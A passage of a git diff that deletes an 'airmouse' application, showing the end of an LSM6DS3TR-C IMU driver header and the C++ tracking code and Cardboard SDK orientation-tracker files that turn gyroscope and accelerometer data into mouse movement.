LSM6DS3TR_C_FIFO_DS4_DEC_ND = 8, /* ERROR CODE */ -} lsm6ds3tr_c_dec_ds4_fifo_t; -int32_t lsm6ds3tr_c_fifo_dataset_4_batch_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_ds4_fifo_t val); -int32_t lsm6ds3tr_c_fifo_dataset_4_batch_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_ds4_fifo_t* val); - -int32_t lsm6ds3tr_c_fifo_xl_gy_8bit_format_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_fifo_xl_gy_8bit_format_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_fifo_stop_on_wtm_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_fifo_stop_on_wtm_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_BYPASS_MODE = 0, - LSM6DS3TR_C_FIFO_MODE = 1, - LSM6DS3TR_C_STREAM_TO_FIFO_MODE = 3, - LSM6DS3TR_C_BYPASS_TO_STREAM_MODE = 4, - LSM6DS3TR_C_STREAM_MODE = 6, - LSM6DS3TR_C_FIFO_MODE_ND = 8, /* ERROR CODE */ -} lsm6ds3tr_c_fifo_mode_t; -int32_t lsm6ds3tr_c_fifo_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_fifo_mode_t val); -int32_t lsm6ds3tr_c_fifo_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_fifo_mode_t* val); - -typedef enum { - LSM6DS3TR_C_FIFO_DISABLE = 0, - LSM6DS3TR_C_FIFO_12Hz5 = 1, - LSM6DS3TR_C_FIFO_26Hz = 2, - LSM6DS3TR_C_FIFO_52Hz = 3, - LSM6DS3TR_C_FIFO_104Hz = 4, - LSM6DS3TR_C_FIFO_208Hz = 5, - LSM6DS3TR_C_FIFO_416Hz = 6, - LSM6DS3TR_C_FIFO_833Hz = 7, - LSM6DS3TR_C_FIFO_1k66Hz = 8, - LSM6DS3TR_C_FIFO_3k33Hz = 9, - LSM6DS3TR_C_FIFO_6k66Hz = 10, - LSM6DS3TR_C_FIFO_RATE_ND = 11, /* ERROR CODE */ -} lsm6ds3tr_c_odr_fifo_t; -int32_t lsm6ds3tr_c_fifo_data_rate_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_odr_fifo_t val); -int32_t lsm6ds3tr_c_fifo_data_rate_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_odr_fifo_t* val); - -typedef enum { - LSM6DS3TR_C_DEN_ACT_LOW = 0, - LSM6DS3TR_C_DEN_ACT_HIGH = 1, - LSM6DS3TR_C_DEN_POL_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_den_lh_t; -int32_t lsm6ds3tr_c_den_polarity_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_den_lh_t val); -int32_t lsm6ds3tr_c_den_polarity_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_den_lh_t* val); - -typedef enum { - LSM6DS3TR_C_DEN_DISABLE = 0, - LSM6DS3TR_C_LEVEL_FIFO = 6, - LSM6DS3TR_C_LEVEL_LETCHED = 3, - LSM6DS3TR_C_LEVEL_TRIGGER = 2, - LSM6DS3TR_C_EDGE_TRIGGER = 4, - LSM6DS3TR_C_DEN_MODE_ND = 5, /* ERROR CODE */ -} lsm6ds3tr_c_den_mode_t; -int32_t lsm6ds3tr_c_den_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_den_mode_t val); -int32_t lsm6ds3tr_c_den_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_den_mode_t* val); - -typedef enum { - LSM6DS3TR_C_STAMP_IN_GY_DATA = 0, - LSM6DS3TR_C_STAMP_IN_XL_DATA = 1, - LSM6DS3TR_C_STAMP_IN_GY_XL_DATA = 2, - LSM6DS3TR_C_DEN_STAMP_ND = 3, /* ERROR CODE */ -} lsm6ds3tr_c_den_xl_en_t; -int32_t lsm6ds3tr_c_den_enable_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_den_xl_en_t val); -int32_t lsm6ds3tr_c_den_enable_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_den_xl_en_t* val); - -int32_t lsm6ds3tr_c_den_mark_axis_z_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_den_mark_axis_z_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_den_mark_axis_y_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_den_mark_axis_y_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_den_mark_axis_x_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_den_mark_axis_x_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_pedo_step_reset_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_pedo_step_reset_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_pedo_sens_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_pedo_sens_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_pedo_threshold_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_pedo_threshold_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_PEDO_AT_2g = 0, - LSM6DS3TR_C_PEDO_AT_4g = 1, - LSM6DS3TR_C_PEDO_FS_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_pedo_fs_t; -int32_t lsm6ds3tr_c_pedo_full_scale_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_pedo_fs_t val); -int32_t lsm6ds3tr_c_pedo_full_scale_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_pedo_fs_t* val); - -int32_t lsm6ds3tr_c_pedo_debounce_steps_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_pedo_debounce_steps_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_pedo_timeout_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_pedo_timeout_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_pedo_steps_period_set(stmdev_ctx_t* ctx, uint8_t* buff); -int32_t lsm6ds3tr_c_pedo_steps_period_get(stmdev_ctx_t* ctx, uint8_t* buff); - -int32_t lsm6ds3tr_c_motion_sens_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_motion_sens_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_motion_threshold_set(stmdev_ctx_t* ctx, uint8_t* buff); -int32_t lsm6ds3tr_c_motion_threshold_get(stmdev_ctx_t* ctx, uint8_t* buff); - -int32_t lsm6ds3tr_c_tilt_sens_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_tilt_sens_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_wrist_tilt_sens_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_wrist_tilt_sens_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_tilt_latency_set(stmdev_ctx_t* ctx, uint8_t* buff); -int32_t lsm6ds3tr_c_tilt_latency_get(stmdev_ctx_t* ctx, uint8_t* buff); - -int32_t lsm6ds3tr_c_tilt_threshold_set(stmdev_ctx_t* ctx, uint8_t* buff); -int32_t lsm6ds3tr_c_tilt_threshold_get(stmdev_ctx_t* ctx, uint8_t* buff); - -int32_t lsm6ds3tr_c_tilt_src_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_a_wrist_tilt_mask_t* val); -int32_t lsm6ds3tr_c_tilt_src_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_a_wrist_tilt_mask_t* val); - -int32_t lsm6ds3tr_c_mag_soft_iron_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_mag_soft_iron_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_mag_hard_iron_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_mag_hard_iron_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_mag_soft_iron_mat_set(stmdev_ctx_t* ctx, uint8_t* buff); -int32_t lsm6ds3tr_c_mag_soft_iron_mat_get(stmdev_ctx_t* ctx, uint8_t* buff); - -int32_t lsm6ds3tr_c_mag_offset_set(stmdev_ctx_t* ctx, int16_t* val); -int32_t lsm6ds3tr_c_mag_offset_get(stmdev_ctx_t* ctx, int16_t* val); - -int32_t lsm6ds3tr_c_func_en_set(stmdev_ctx_t* ctx, uint8_t val); - -int32_t lsm6ds3tr_c_sh_sync_sens_frame_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_sh_sync_sens_frame_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_RES_RATIO_2_11 = 0, - LSM6DS3TR_C_RES_RATIO_2_12 = 1, - LSM6DS3TR_C_RES_RATIO_2_13 = 2, - LSM6DS3TR_C_RES_RATIO_2_14 = 3, - LSM6DS3TR_C_RES_RATIO_ND = 4, /* ERROR CODE */ -} lsm6ds3tr_c_rr_t; -int32_t lsm6ds3tr_c_sh_sync_sens_ratio_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_rr_t val); -int32_t lsm6ds3tr_c_sh_sync_sens_ratio_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_rr_t* val); - -int32_t lsm6ds3tr_c_sh_master_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_sh_master_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_sh_pass_through_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_sh_pass_through_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_EXT_PULL_UP = 0, - LSM6DS3TR_C_INTERNAL_PULL_UP = 1, - LSM6DS3TR_C_SH_PIN_MODE = 2, /* ERROR CODE */ -} lsm6ds3tr_c_pull_up_en_t; -int32_t lsm6ds3tr_c_sh_pin_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_pull_up_en_t val); -int32_t lsm6ds3tr_c_sh_pin_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_pull_up_en_t* val); - -typedef enum { - LSM6DS3TR_C_XL_GY_DRDY = 0, - LSM6DS3TR_C_EXT_ON_INT2_PIN = 1, - LSM6DS3TR_C_SH_SYNCRO_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_start_config_t; -int32_t lsm6ds3tr_c_sh_syncro_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_start_config_t val); -int32_t lsm6ds3tr_c_sh_syncro_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_start_config_t* val); - -int32_t lsm6ds3tr_c_sh_drdy_on_int1_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_sh_drdy_on_int1_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef struct { - lsm6ds3tr_c_sensorhub1_reg_t sh_byte_1; - lsm6ds3tr_c_sensorhub2_reg_t sh_byte_2; - lsm6ds3tr_c_sensorhub3_reg_t sh_byte_3; - lsm6ds3tr_c_sensorhub4_reg_t sh_byte_4; - lsm6ds3tr_c_sensorhub5_reg_t sh_byte_5; - lsm6ds3tr_c_sensorhub6_reg_t sh_byte_6; - lsm6ds3tr_c_sensorhub7_reg_t sh_byte_7; - lsm6ds3tr_c_sensorhub8_reg_t sh_byte_8; - lsm6ds3tr_c_sensorhub9_reg_t sh_byte_9; - lsm6ds3tr_c_sensorhub10_reg_t sh_byte_10; - lsm6ds3tr_c_sensorhub11_reg_t sh_byte_11; - lsm6ds3tr_c_sensorhub12_reg_t sh_byte_12; - lsm6ds3tr_c_sensorhub13_reg_t sh_byte_13; - lsm6ds3tr_c_sensorhub14_reg_t sh_byte_14; - lsm6ds3tr_c_sensorhub15_reg_t sh_byte_15; - lsm6ds3tr_c_sensorhub16_reg_t sh_byte_16; - lsm6ds3tr_c_sensorhub17_reg_t sh_byte_17; - lsm6ds3tr_c_sensorhub18_reg_t sh_byte_18; -} lsm6ds3tr_c_emb_sh_read_t; -int32_t lsm6ds3tr_c_sh_read_data_raw_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_emb_sh_read_t* val); - -int32_t lsm6ds3tr_c_sh_cmd_sens_sync_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_sh_cmd_sens_sync_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_sh_spi_sync_error_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_sh_spi_sync_error_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_SLV_0 = 0, - LSM6DS3TR_C_SLV_0_1 = 1, - LSM6DS3TR_C_SLV_0_1_2 = 2, - LSM6DS3TR_C_SLV_0_1_2_3 = 3, - LSM6DS3TR_C_SLV_EN_ND = 4, /* ERROR CODE */ -} lsm6ds3tr_c_aux_sens_on_t; -int32_t lsm6ds3tr_c_sh_num_of_dev_connected_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_aux_sens_on_t val); -int32_t lsm6ds3tr_c_sh_num_of_dev_connected_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_aux_sens_on_t* val); - -typedef struct { - uint8_t slv0_add; - uint8_t slv0_subadd; - uint8_t slv0_data; -} lsm6ds3tr_c_sh_cfg_write_t; -int32_t lsm6ds3tr_c_sh_cfg_write(stmdev_ctx_t* ctx, lsm6ds3tr_c_sh_cfg_write_t* val); - -typedef struct { - uint8_t slv_add; - uint8_t slv_subadd; - uint8_t slv_len; -} lsm6ds3tr_c_sh_cfg_read_t; -int32_t lsm6ds3tr_c_sh_slv0_cfg_read(stmdev_ctx_t* ctx, lsm6ds3tr_c_sh_cfg_read_t* val); -int32_t lsm6ds3tr_c_sh_slv1_cfg_read(stmdev_ctx_t* ctx, lsm6ds3tr_c_sh_cfg_read_t* val); -int32_t lsm6ds3tr_c_sh_slv2_cfg_read(stmdev_ctx_t* ctx, lsm6ds3tr_c_sh_cfg_read_t* val); -int32_t lsm6ds3tr_c_sh_slv3_cfg_read(stmdev_ctx_t* ctx, lsm6ds3tr_c_sh_cfg_read_t* val); - -typedef enum { - LSM6DS3TR_C_SL0_NO_DEC = 0, - LSM6DS3TR_C_SL0_DEC_2 = 1, - LSM6DS3TR_C_SL0_DEC_4 = 2, - LSM6DS3TR_C_SL0_DEC_8 = 3, - LSM6DS3TR_C_SL0_DEC_ND = 4, /* ERROR CODE */ -} lsm6ds3tr_c_slave0_rate_t; -int32_t lsm6ds3tr_c_sh_slave_0_dec_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave0_rate_t val); -int32_t lsm6ds3tr_c_sh_slave_0_dec_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave0_rate_t* val); - -typedef enum { - LSM6DS3TR_C_EACH_SH_CYCLE = 0, - LSM6DS3TR_C_ONLY_FIRST_CYCLE = 1, - LSM6DS3TR_C_SH_WR_MODE_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_write_once_t; -int32_t lsm6ds3tr_c_sh_write_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_write_once_t val); -int32_t lsm6ds3tr_c_sh_write_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_write_once_t* val); - -typedef enum { - LSM6DS3TR_C_SL1_NO_DEC = 0, - LSM6DS3TR_C_SL1_DEC_2 = 1, - LSM6DS3TR_C_SL1_DEC_4 = 2, - LSM6DS3TR_C_SL1_DEC_8 = 3, - LSM6DS3TR_C_SL1_DEC_ND = 4, /* ERROR CODE */ -} lsm6ds3tr_c_slave1_rate_t; -int32_t lsm6ds3tr_c_sh_slave_1_dec_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave1_rate_t val); -int32_t lsm6ds3tr_c_sh_slave_1_dec_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave1_rate_t* val); - -typedef enum { - LSM6DS3TR_C_SL2_NO_DEC = 0, - LSM6DS3TR_C_SL2_DEC_2 = 1, - LSM6DS3TR_C_SL2_DEC_4 = 2, - LSM6DS3TR_C_SL2_DEC_8 = 3, - LSM6DS3TR_C_SL2_DEC_ND = 4, /* ERROR CODE */ -} lsm6ds3tr_c_slave2_rate_t; -int32_t lsm6ds3tr_c_sh_slave_2_dec_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave2_rate_t val); -int32_t lsm6ds3tr_c_sh_slave_2_dec_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave2_rate_t* val); - -typedef enum { - LSM6DS3TR_C_SL3_NO_DEC = 0, - LSM6DS3TR_C_SL3_DEC_2 = 1, - LSM6DS3TR_C_SL3_DEC_4 = 2, - LSM6DS3TR_C_SL3_DEC_8 = 3, - LSM6DS3TR_C_SL3_DEC_ND = 4, /* ERROR CODE */ -} lsm6ds3tr_c_slave3_rate_t; -int32_t lsm6ds3tr_c_sh_slave_3_dec_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave3_rate_t val); -int32_t lsm6ds3tr_c_sh_slave_3_dec_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave3_rate_t* val); - -/** - * @} - * - */ - -#ifdef __cplusplus -} -#endif - -#endif /* LSM6DS3TR_C_DRIVER_H */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/applications/external/airmouse/tracking/main_loop.cc b/applications/external/airmouse/tracking/main_loop.cc deleted file mode 100644 index a9aca0aab..000000000 --- a/applications/external/airmouse/tracking/main_loop.cc +++ /dev/null @@ -1,230 +0,0 @@ -#include "main_loop.h" - -#include -#include - -#include "imu/imu.h" -#include "orientation_tracker.h" -#include "calibration_data.h" - -#define TAG "tracker" - -static const float CURSOR_SPEED = 1024.0 / (M_PI / 4); -static const float STABILIZE_BIAS = 16.0; - -class TrackingState { -private: - float yaw; - float pitch; - float dYaw; - float dPitch; - bool firstRead; - bool stabilize; - CalibrationData calibration; - cardboard::OrientationTracker tracker; - uint64_t ippus, ippus2; - -private: - float clamp(float val) { - while (val <= -M_PI) { - val += 2 * M_PI; - } - while (val >= M_PI) { - val -= 2 * M_PI; - } - return val; - } - - float highpass(float oldVal, float newVal) { - if (!stabilize) { - return newVal; - } - float delta = clamp(oldVal - newVal); - float alpha = (float) std::max(0.0, 1 - std::pow(std::fabs(delta) * CURSOR_SPEED / STABILIZE_BIAS, 3.0)); - return newVal + alpha * delta; - } - - void sendCurrentState(MouseMoveCallback mouse_move, void *context) { - float dX = dYaw * CURSOR_SPEED; - float dY = dPitch * CURSOR_SPEED; - - // Scale the shift down to fit the protocol. - if (dX > 127) { - dY *= 127.0 / dX; - dX = 127; - } - if (dX < -127) { - dY *= -127.0 / dX; - dX = -127; - } - if (dY > 127) { - dX *= 127.0 / dY; - dY = 127; - } - if (dY < -127) { - dX *= -127.0 / dY; - dY = -127; - } - - const int8_t x = (int8_t)std::floor(dX + 0.5); - const int8_t y = (int8_t)std::floor(dY + 0.5); - - mouse_move(x, y, context); - - // Only subtract the part of the error that was already sent. - if (x != 0) { - dYaw -= x / CURSOR_SPEED; - } - if (y != 0) { - dPitch -= y / CURSOR_SPEED; - } - } - - void onOrientation(cardboard::Vector4& quaternion) { - float q1 = quaternion[0]; // X * sin(T/2) - float q2 = quaternion[1]; // Y * sin(T/2) - float q3 = quaternion[2]; // Z * sin(T/2) - float q0 = quaternion[3]; // cos(T/2) - - float yaw = std::atan2(2 * (q0 * q3 - q1 * q2), (1 - 2 * (q1 * q1 + q3 * q3))); - float pitch = std::asin(2 * (q0 * q1 + q2 * q3)); - // float roll = std::atan2(2 * (q0 * q2 - q1 * q3), (1 - 2 * (q1 * q1 + q2 * q2))); - - if (yaw == NAN || pitch == NAN) { - // NaN case, skip it - return; - } - - if (firstRead) { - this->yaw = yaw; - this->pitch = pitch; - firstRead = false; - } else { - const float newYaw = highpass(this->yaw, yaw); - const float newPitch = highpass(this->pitch, pitch); - - float dYaw = clamp(this->yaw - newYaw); - float dPitch = this->pitch - newPitch; - this->yaw = newYaw; - this->pitch = newPitch; - - // Accumulate the error locally. - this->dYaw += dYaw; - this->dPitch += dPitch; - } - } - -public: - TrackingState() - : yaw(0) - , pitch(0) - , dYaw(0) - , dPitch(0) - , firstRead(true) - , stabilize(true) - , tracker(10000000l) { // 10 ms / 100 Hz - ippus = furi_hal_cortex_instructions_per_microsecond(); - ippus2 = ippus / 2; - } - - void beginCalibration() { - calibration.reset(); - } - - bool stepCalibration() { - if (calibration.isComplete()) - return true; - - double vec[6]; - if (imu_read(vec) & GYR_DATA_READY) { - cardboard::Vector3 data(vec[3], vec[4], vec[5]); - furi_delay_ms(9); // Artificially limit to ~100Hz - return calibration.add(data); - } - - return false; - } - - void saveCalibration() { - CalibrationMedian store; - cardboard::Vector3 median = calibration.getMedian(); - store.x = median[0]; - store.y = median[1]; - store.z = median[2]; - CALIBRATION_DATA_SAVE(&store); - } - - void loadCalibration() { - CalibrationMedian store; - cardboard::Vector3 median = calibration.getMedian(); - if (CALIBRATION_DATA_LOAD(&store)) { - median[0] = store.x; - median[1] = store.y; - median[2] = store.z; - } - - tracker.SetCalibration(median); - } - - void beginTracking() { - loadCalibration(); - tracker.Resume(); - } - - void stepTracking(MouseMoveCallback mouse_move, void *context) { - double vec[6]; - int ret = imu_read(vec); - if (ret != 0) { - uint64_t t = (DWT->CYCCNT * 1000llu + ippus2) / ippus; - if (ret & ACC_DATA_READY) { - cardboard::AccelerometerData adata - = { .system_timestamp = t, .sensor_timestamp_ns = t, - .data = cardboard::Vector3(vec[0], vec[1], vec[2]) }; - tracker.OnAccelerometerData(adata); - } - if (ret & GYR_DATA_READY) { - cardboard::GyroscopeData gdata - = { .system_timestamp = t, .sensor_timestamp_ns = t, - .data = cardboard::Vector3(vec[3], vec[4], vec[5]) }; - cardboard::Vector4 pose = tracker.OnGyroscopeData(gdata); - onOrientation(pose); - sendCurrentState(mouse_move, context); - } - } - } - - void stopTracking() { - tracker.Pause(); - } -}; - -static TrackingState g_state; - -extern "C" { - -void calibration_begin() { - g_state.beginCalibration(); - FURI_LOG_I(TAG, "Calibrating"); -} - -bool calibration_step() { - return g_state.stepCalibration(); -} - -void calibration_end() { - g_state.saveCalibration(); -} - -void tracking_begin() { - g_state.beginTracking(); -} - -void tracking_step(MouseMoveCallback mouse_move, void *context) { - g_state.stepTracking(mouse_move, context); -} - -void tracking_end() { - g_state.stopTracking(); -} - -} diff --git a/applications/external/airmouse/tracking/main_loop.h b/applications/external/airmouse/tracking/main_loop.h deleted file mode 100644 index cd592161f..000000000 --- a/applications/external/airmouse/tracking/main_loop.h +++ /dev/null @@ -1,21 +0,0 @@ -#pragma once - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef bool (*MouseMoveCallback)(int8_t x, int8_t y, void* context); - -void calibration_begin(); -bool calibration_step(); -void calibration_end(); - -void tracking_begin(); -void tracking_step(MouseMoveCallback mouse_move, void* context); -void tracking_end(); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/airmouse/tracking/orientation_tracker.cc b/applications/external/airmouse/tracking/orientation_tracker.cc deleted file mode 100644 index 4f381c895..000000000 --- a/applications/external/airmouse/tracking/orientation_tracker.cc +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#include "orientation_tracker.h" - -#include "sensors/pose_prediction.h" -#include "util/logging.h" -#include "util/vector.h" -#include "util/vectorutils.h" - -namespace cardboard { - -OrientationTracker::OrientationTracker(const long sampling_period_ns) - : sampling_period_ns_(sampling_period_ns) - , calibration_(Vector3::Zero()) - , is_tracking_(false) - , sensor_fusion_(new SensorFusionEkf()) - , latest_gyroscope_data_({ 0, 0, Vector3::Zero() }) -{ - sensor_fusion_->SetBiasEstimationEnabled(/*kGyroBiasEstimationEnabled*/ true); -} - -void OrientationTracker::SetCalibration(const Vector3& calibration) { - calibration_ = calibration; -} - -void OrientationTracker::Pause() -{ - if (!is_tracking_) { - return; - } - - // Create a gyro event with zero velocity. This effectively stops the prediction. - GyroscopeData event = latest_gyroscope_data_; - event.data = Vector3::Zero(); - - OnGyroscopeData(event); - - is_tracking_ = false; -} - -void OrientationTracker::Resume() { is_tracking_ = true; } - -Vector4 OrientationTracker::GetPose(int64_t timestamp_ns) const -{ - Rotation predicted_rotation; - const PoseState pose_state = sensor_fusion_->GetLatestPoseState(); - if (sensor_fusion_->IsFullyInitialized()) { - predicted_rotation = pose_state.sensor_from_start_rotation; - } else { - CARDBOARD_LOGI("Tracker not fully initialized yet. Using pose prediction only."); - predicted_rotation = pose_prediction::PredictPose(timestamp_ns, pose_state); - } - - return (-predicted_rotation).GetQuaternion(); -} - -void OrientationTracker::OnAccelerometerData(const AccelerometerData& event) -{ - if (!is_tracking_) { - return; - } - sensor_fusion_->ProcessAccelerometerSample(event); -} - -Vector4 OrientationTracker::OnGyroscopeData(const GyroscopeData& event) -{ - if (!is_tracking_) { - return Vector4(); - } - - const GyroscopeData data = { .system_timestamp = event.system_timestamp, - .sensor_timestamp_ns = event.sensor_timestamp_ns, - .data = event.data - calibration_ }; - - latest_gyroscope_data_ = data; - - sensor_fusion_->ProcessGyroscopeSample(data); - - return GetPose(data.sensor_timestamp_ns + sampling_period_ns_); -} - -} // namespace cardboard diff --git a/applications/external/airmouse/tracking/orientation_tracker.h b/applications/external/airmouse/tracking/orientation_tracker.h deleted file mode 100644 index fb49c9859..000000000 --- a/applications/external/airmouse/tracking/orientation_tracker.h +++ /dev/null @@ -1,68 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#pragma once - -#include -#include -#include // NOLINT - -#include "sensors/accelerometer_data.h" -#include "sensors/gyroscope_data.h" -#include "sensors/sensor_fusion_ekf.h" -#include "util/rotation.h" - -namespace cardboard { - -// OrientationTracker encapsulates pose tracking by connecting sensors -// to SensorFusion. -// This pose tracker reports poses in display space. -class OrientationTracker { -public: - OrientationTracker(const long sampling_period_ns); - - void SetCalibration(const Vector3& calibration); - - // Pauses tracking and sensors. - void Pause(); - - // Resumes tracking ans sensors. - void Resume(); - - // Gets the predicted pose for a given timestamp. - Vector4 GetPose(int64_t timestamp_ns) const; - - // Function called when receiving AccelerometerData. - // - // @param event sensor event. - void OnAccelerometerData(const AccelerometerData& event); - - // Function called when receiving GyroscopeData. - // - // @param event sensor event. - Vector4 OnGyroscopeData(const GyroscopeData& event); - -private: - long sampling_period_ns_; - Vector3 calibration_; - - std::atomic is_tracking_; - // Sensor Fusion object that stores the internal state of the filter. - std::unique_ptr sensor_fusion_; - // Latest gyroscope data. - GyroscopeData latest_gyroscope_data_; -}; - -} // namespace cardboard diff --git a/applications/external/airmouse/tracking/sensors/accelerometer_data.h b/applications/external/airmouse/tracking/sensors/accelerometer_data.h deleted file mode 100644 index bdf3289af..000000000 --- a/applications/external/airmouse/tracking/sensors/accelerometer_data.h +++ /dev/null @@ -1,38 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_SENSORS_ACCELEROMETER_DATA_H_ -#define CARDBOARD_SDK_SENSORS_ACCELEROMETER_DATA_H_ - -#include "../util/vector.h" - -namespace cardboard { - -struct AccelerometerData { - // System wall time. - uint64_t system_timestamp; - - // Sensor clock time in nanoseconds. - uint64_t sensor_timestamp_ns; - - // Acceleration force along the x,y,z axes in m/s^2. This follows android - // specification - // (https://developer.android.com/guide/topics/sensors/sensors_overview.html#sensors-coords). - Vector3 data; -}; - -} // namespace cardboard - -#endif // CARDBOARD_SDK_SENSORS_ACCELEROMETER_DATA_H_ diff --git a/applications/external/airmouse/tracking/sensors/gyroscope_bias_estimator.cc b/applications/external/airmouse/tracking/sensors/gyroscope_bias_estimator.cc deleted file mode 100644 index 96f2f7346..000000000 --- a/applications/external/airmouse/tracking/sensors/gyroscope_bias_estimator.cc +++ /dev/null @@ -1,313 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed 